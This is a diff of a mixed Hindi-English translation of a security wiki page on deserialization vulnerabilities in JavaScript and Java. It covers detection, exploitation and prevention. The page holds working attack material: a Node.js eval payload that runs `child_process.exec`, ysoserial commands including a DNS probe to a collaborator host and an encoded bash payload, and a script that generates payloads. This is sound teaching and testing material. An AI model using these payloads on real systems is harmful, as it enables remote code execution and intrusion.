+**अधिक जानकारी के लिए**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
-**serialize-javascript** पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा `eval` का प्रत्यक्ष उपयोग सुझाया गया है:
+**serialize-javascript** पैकेज केवल serialization उद्देश्यों के लिए डिज़ाइन किया गया है और इसमें किसी भी बिल्ट-इन deserialization क्षमता का अभाव है। उपयोगकर्ता अपने स्वयं के deserialization विधि को लागू करने के लिये जिम्मेदार हैं। serialized डेटा को deserializing करने के लिए आधिकारिक उदाहरण में सीधे `eval` के उपयोग का सुझाव दिया गया है:
 ```javascript
 function deserialize(serializedJavascript) {
 return eval("(" + serializedJavascript + ")")
 }
 ```
-यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसिरियलाइज़ करने के लिए किया जाता है, तो आप इसे **आसानी से शोषण कर सकते हैं**:
+यदि यह function objects को deserialize करने के लिए उपयोग में है तो आप **easily exploit it**:
 ```javascript
 var serialize = require("serialize-javascript")
 //Serialization
@ -359,90 +375,100 @@ var test =
 "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
 deserialize(test)
 ```
-**अधिक जानकारी के लिए इस स्रोत को पढ़ें**[ **यहाँ**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**अधिक जानकारी के लिए**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
-### Cryo पुस्तकालय
+### Cryo library
-निम्नलिखित पृष्ठों पर आप इस पुस्तकालय का दुरुपयोग करके मनमाने आदेशों को निष्पादित करने के बारे में जानकारी पा सकते हैं:
+नीचे दी गई पृष्ठों में आप इस library का दुरुपयोग करके arbitrary commands को execute करने के तरीकों की जानकारी पा सकते हैं:
 - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
 - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
 ## Java - HTTP
-Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो ऐसे दुर्भावनापूर्ण payloads तैयार करते हैं जो इन callbacks को ट्रिगर करते हैं, जिससे संभावित हानिकारक क्रियाओं का निष्पादन होता है।
+Java में, **deserialization callbacks deserialization प्रक्रिया के दौरान execute होते हैं**। इस execute का दुरुपयोग उन attackers द्वारा किया जा सकता है जो malicious payloads तैयार करते हैं जो इन callbacks को trigger करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन का जोखिम उत्पन्न होता है।
-### फिंगरप्रिंट्स
+### Fingerprints
-#### व्हाइट बॉक्स
+#### White Box
 कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:
- कक्षाएँ जो `Serializable` इंटरफ़ेस को लागू करती हैं।
+- ऐसे क्लासेज़ जो `Serializable` interface को implement करते हैं।
- `java.io.ObjectInputStream`, `readObject`, `readUnshare` फ़ंक्शंस का उपयोग।
+- `java.io.ObjectInputStream`, `readObject`, `readUnshare` फ़ंक्शनों का उपयोग।
-विशेष ध्यान दें:
+खास ध्यान दें:
- `XMLDecoder` का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ।
+- `XMLDecoder` का उपयोग जब parameters external users द्वारा परिभाषित हों।
- `XStream` का `fromXML` विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।
+- `XStream` की `fromXML` विधि, विशेषकर यदि XStream का संस्करण 1.46 या उससे कम हो, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील हो सकता है।
- `ObjectInputStream` जो `readObject` विधि के साथ जुड़ा हुआ है।
+- `ObjectInputStream` के साथ `readObject` का उपयोग।
- `readObject`, `readObjectNodData`, `readResolve`, या `readExternal` जैसी विधियों का कार्यान्वयन।
+- `readObject`, `readObjectNodData`, `readResolve`, या `readExternal` जैसे मेथड्स का कार्यान्वयन।
- `ObjectInputStream.readUnshared`।
+- `ObjectInputStream.readUnshared`.
- `Serializable` का सामान्य उपयोग।
+- सामान्य रूप से `Serializable` का उपयोग।
-#### ब्लैक बॉक्स
+#### Black Box
-ब्लैक बॉक्स परीक्षण के लिए, java serialized objects (जो `ObjectInputStream` से उत्पन्न होते हैं) को दर्शाने वाले विशिष्ट **हस्ताक्षर या "मैजिक बाइट्स"** की तलाश करें:
+black box परीक्षण के लिए, उन विशिष्ट **signatures या "Magic Bytes"** की तलाश करें जो java serialized objects (originating from `ObjectInputStream`) को दर्शाते हैं:
- हेक्साडेसिमल पैटर्न: `AC ED 00 05`।
+- Hex पैटर्न: `AC ED 00 05`.
- बेस64 पैटर्न: `rO0`।
+- Base64 पैटर्न: `rO0`.
- HTTP प्रतिक्रिया हेडर जिसमें `Content-type` `application/x-java-serialized-object` पर सेट है।
+- HTTP response headers जिनमें `Content-type` सेट हो `application/x-java-serialized-object`.
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`।
+- पहले compression का संकेत देने वाला Hex पैटर्न: `1F 8B 08 00`.
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`।
+- पहले compression का संकेत देने वाला Base64 पैटर्न: `H4sIA`.
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट के अनुसार जांच करने के लिए प्रेरित करनी चाहिए।
+- `.faces` एक्सटेंशन वाले वेब फाइल और `faces.ViewState` पैरामीटर। इन पैटर्न्स का किसी वेब एप्लिकेशन में मिलना [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) में बताई गई जांच की ओर संकेत करना चाहिए।
 ```
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
-### Check if vulnerable
+### कमजोर है या नहीं जाँचें
-If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
+यदि आप **यह जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है** तो आपको [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), और [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) को देखना चाहिए।
 #### SignedObject-gated deserialization और pre-auth reachability
 आधुनिक codebases कभी-कभी deserialization को `java.security.SignedObject` से रैप करते हैं और `getObject()` कॉल करने से पहले signature को validate करते हैं (जो inner object को deserializes करता है)। यह arbitrary top-level gadget classes को रोकता है, लेकिन तब भी exploitable हो सकता है यदि attacker वैध signature प्राप्त कर ले (उदाहरण: private-key compromise या signing oracle)। इसके अतिरिक्त, error-handling flows unauthenticated users के लिए session-bound tokens बना सकते हैं, जो otherwise protected sinks को pre-auth एक्सपोज़ कर सकते हैं।
 For a concrete case study with requests, IoCs, and hardening guidance, see:
 {{#ref}}
 java-signedobject-gated-deserialization.md
 {{#endref}}
 #### White Box Test
-आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात कमजोरियाँ हैं।
+आप यह जांच सकते हैं कि किसी system पर कोई ऐसा application installed है जिसमें ज्ञात vulnerabilities हों।
 ```bash
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
 ```
-आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जिनके लिए [**Ysoserial**](https://github.com/frohoff/ysoserial) एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
+You could try to **सभी लाइब्रेरीज़ की जांच करें** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
-आप संभावित गेज़ेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
+You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
-जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो उन सभी चेतावनियों/त्रुटियों की परवाह न करें जिनसे यह गुजर रहा है और इसे पूरा करने दें। यह सभी निष्कर्ष _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
+When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
-#### ब्लैक बॉक्स टेस्ट
+#### Black Box Test
-Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता है**।\
+Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (and even the versions). With this information it could be **आसान हो सकता है payload चुनना** to exploit the vulnerability.\
-[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**।**\
+[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-GadgetProbe **`ObjectInputStream` deserializations** पर केंद्रित है।
+GadgetProbe is focused on **`ObjectInputStream` deserializations**.
-Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं जिन्हें ysoserial के साथ शोषित किया जा सकता है और **उनका शोषण** कर सकते हैं।\
+Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
-[**Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
+[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
-Java Deserialization Scanner **`ObjectInputStream`** deserializations पर केंद्रित है।
+Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
-आप [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर सकते हैं **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
+You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
-[**आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
+[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
-**Serialization टेस्ट**
+**Serialization Test**
-सभी कुछ यह जांचने के बारे में नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप **serialized object के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
+Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **serialized object के अंदर के डेटा को बदलकर कुछ checks bypass कर देना** (शायद आपको किसी webapp के अंदर admin privileges दे देना)।\
-यदि आप एक जावा serialized object पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे आप भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकें**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
+If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
-### **शोषण**
+### **Exploit**
 #### **ysoserial**
-जावा deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))। आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
+The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
-ध्यान दें कि यह उपकरण **`ObjectInputStream`** के शोषण पर **केंद्रित** है।\
+Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
-मैं **RCE** पेलोड से पहले "URLDNS" पेलोड का उपयोग करना **शुरू करूंगा** यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
+I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
 ```bash
 # PoC to make the application perform a DNS req
 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -487,9 +513,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
-जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित करने के लिए या यहां तक कि **कमांड के लिए तर्क** पास करने के लिए जो **स्पेस** द्वारा अलग किए गए हैं (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
+जब आप **java.lang.Runtime.exec()** के लिए payload बना रहे होते हैं तो आप execution के output को redirect करने के लिए ">" या "|" जैसे special characters का उपयोग नहीं कर सकते, कमांड execute करने के लिए "$()" नहीं प्रयोग कर सकते या यहां तक कि **pass arguments** को **spaces** से अलग करके एक कमांड को पास नहीं कर सकते (आप कर सकते हैं `echo -n "hello world"` लेकिन आप नहीं कर सकते `python2 -c 'print "Hello world"'`)। payload को सही तरीके से encode करने के लिए आप [इस वेबपेज का उपयोग कर सकते](http://www.jackson-t.ca/runtime-exec-payloads.html)।
-Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
+नीचे दिए गए script का उपयोग करके Windows और Linux के लिए **all the possible code execution** payloads बना लें और फिर उन्हें vulnerable web page पर टेस्ट करें:
 ```python
 import os
 import base64
@ -512,12 +538,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 ```
 #### serialkillerbypassgadgets
-आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+You can [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ysoserial के साथ और अधिक exploits बनाने के लिए उपयोग कर सकते हैं**। इस टूल के बारे में अधिक जानकारी उस टॉक की **स्लाइड्स** में है जहाँ यह टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 #### marshalsec
-[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\
+[**marshalsec** ](https://github.com/mbechler/marshalsec) Java में विभिन्न **Json** और **Yml** serialization libraries को exploit करने के लिए payloads generate करने के लिए उपयोग किया जा सकता है.  
-प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़नी थीं**:
+प्रोजेक्ट को compile करने के लिए मुझे `pom.xml` में ये **dependencies** **add** करनी पड़ी:
 ```html
 <dependency>
 <groupId>javax.activation</groupId>
@ -532,57 +558,57 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 <type>pom</type>
 </dependency>
 ```
-**Maven स्थापित करें**, और **परियोजना को संकलित करें**:
+**maven इंस्टॉल करें**, और परियोजना को **compile** करें:
 ```bash
 sudo apt-get install maven
 mvn clean package -DskipTests
 ```
 #### FastJSON
-इस Java JSON पुस्तकालय के बारे में अधिक पढ़ें: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
+Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
-### Labs
+### लैब्स
- यदि आप कुछ ysoserial payloads का परीक्षण करना चाहते हैं, तो आप **इस वेब ऐप को चला सकते हैं**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
+- अगर आप कुछ ysoserial payloads टेस्ट करना चाहते हैं तो आप **run this webapp** कर सकते हैं: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
-### Why
+### क्यों
-Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:
+Java विभिन्न उद्देश्यों के लिए काफी उपयोग में serialization का उपयोग करता है, जैसे:
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
+- **HTTP requests**: Serialization का व्यापक उपयोग parameters, ViewState, cookies, आदि के प्रबंधन में किया जाता है।
- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
+- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java एप्लिकेशनों में रिमोट कम्युनिकेशन के लिए एक आधार है।
- **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
+- **RMI over HTTP**: यह तरीका आमतौर पर Java-आधारित thick client वेब एप्लिकेशन्स द्वारा उपयोग किया जाता है, जो सभी object communications के लिए serialization का उपयोग करती हैं।
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
+- **JMX (Java Management Extensions)**: JMX नेटवर्क पर objects ट्रांसमिट करने के लिए serialization का उपयोग करता है।
- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी हमले के उदाहरणों में प्रदर्शित किया जाएगा।
+- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java objects के ट्रांसमिशन को शामिल करती है, जिसे आने वाले exploit उदाहरणों में दिखाया जाएगा।
-### Prevention
+### रोकथाम
-#### Transient objects
+#### ट्रांज़िएंट ऑब्जेक्ट्स
-एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:
+एक class जो `Serializable` को implement करती है, उस class के किसी भी object को जो serializable नहीं होना चाहिए उसे `transient` के रूप में चिह्नित कर सकती है। उदाहरण के लिए:
 ```java
 public class myAccount implements Serializable
 {
 private transient double profit; // declared transient
 private transient double margin; // declared transient
 ```
-#### एक क्लास के Serialization से बचें जिसे Serializable को लागू करने की आवश्यकता है
+#### ऐसे क्लास की Serialization से बचें जिन्हें `Serializable` implement करना जरूरी है
-उन परिदृश्यों में जहां कुछ **objects को क्लास हायरार्की के कारण `Serializable`** इंटरफेस को लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
+ऐसे परिदृश्यों में जहाँ क्लास हायरेरकी की वजह से कुछ **ऑब्जेक्ट्स को `Serializable` implement करना आवश्यक होता है**, अनजाने में deserialization का जोखिम बन सकता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हों — इसके लिए एक `final` `readObject()` method परिभाषित करें जो लगातार exception फेंकता हो, जैसा नीचे दिखाया गया है:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
 }
 ```
-#### **Java में Deserialization सुरक्षा बढ़ाना**
+#### **Java में Deserialization सुरक्षा में सुधार**
-**`java.io.ObjectInputStream`** को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
+**Customizing `java.io.ObjectInputStream`** deserialization प्रक्रियाओं की सुरक्षा के लिए एक व्यावहारिक तरीका है। यह तरीका तब उपयुक्त है जब:
- Deserialization कोड आपके नियंत्रण में है।
+- deserialization कोड आपके नियंत्रण में हो।
- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।
+- उन क्लासों का पता हो जिनकी deserialization की अपेक्षा की जाती है।
-**`resolveClass()`** विधि को ओवरराइड करें ताकि deserialization केवल अनुमत कक्षाओं तक सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
+सिर्फ़ अनुमत क्लासों तक deserialization को सीमित करने के लिए **`resolveClass()`** मेथड को ओवरराइड करें। यह स्पष्ट रूप से अनुमति दी गई क्लासों को छोड़कर किसी भी क्लास की deserialization को रोकता है, जैसे निम्न उदाहरण में जो केवल `Bicycle` क्लास तक deserialization को सीमित करता है:
 ```java
 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
 public class LookAheadObjectInputStream extends ObjectInputStream {
@ -603,17 +629,17 @@ return super.resolveClass(desc);
 }
 }
 ```
-**सुरक्षा सुधार के लिए एक जावा एजेंट का उपयोग** तब एक बैकअप समाधान प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से **हानिकारक कक्षाओं की ब्लैकलिस्टिंग** के लिए लागू होती है, एक JVM पैरामीटर का उपयोग करते हुए:
+**Using a Java Agent for Security Enhancement** जब कोड संशोधन संभव न हो तो एक वैकल्पिक समाधान प्रदान करता है। यह विधि मुख्यतः **blacklisting harmful classes** के लिए लागू होती है, एक JVM parameter का उपयोग करके:
 ```
 -javaagent:name-of-agent.jar
 ```
-यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
+यह deserialization को डायनामिक रूप से सुरक्षित करने का एक तरीका प्रदान करता है, जो उन वातावरणों के लिए आदर्श है जहाँ तुरंत code परिवर्तन व्यावहारिक नहीं होते।
-एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
+उदाहरण देखें: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
-**Serialization Filters को लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफेस के माध्यम से serialization filters पेश किए, जो उन मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं जिन्हें डेसिरियलाइज होने से पहले serialized वस्तुओं को पूरा करना चाहिए। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।
+**Implementing Serialization Filters**: Java 9 ने **`ObjectInputFilter`** interface के माध्यम से serialization filters पेश किए, जो serialized objects को deserialized होने से पहले मिलने वाले मानदंड निर्दिष्ट करने के लिए एक शक्तिशाली mechanism प्रदान करते हैं। ये filters global रूप से या per stream लागू किए जा सकते हैं, जिससे deserialization प्रक्रिया पर सूक्ष्म नियंत्रण मिलता है।
-Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
+serialization filters का उपयोग करने के लिए, आप एक global filter सेट कर सकते हैं जो सभी deserialization operations पर लागू होता है, या इसे specific streams के लिए dynamically configure कर सकते हैं। उदाहरण के लिए:
 ```java
 ObjectInputFilter filter = info -> {
 if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -625,102 +651,102 @@ return Status.ALLOWED;
 };
 ObjectInputFilter.Config.setSerialFilter(filter);
 ```
-**बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डेसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डेसिरियलाइजेशन से पहले सीरियलाइज्ड ऑब्जेक्ट्स का विश्लेषण करना, और कस्टम सीरियलाइजेशन रणनीतियों को लागू करना।
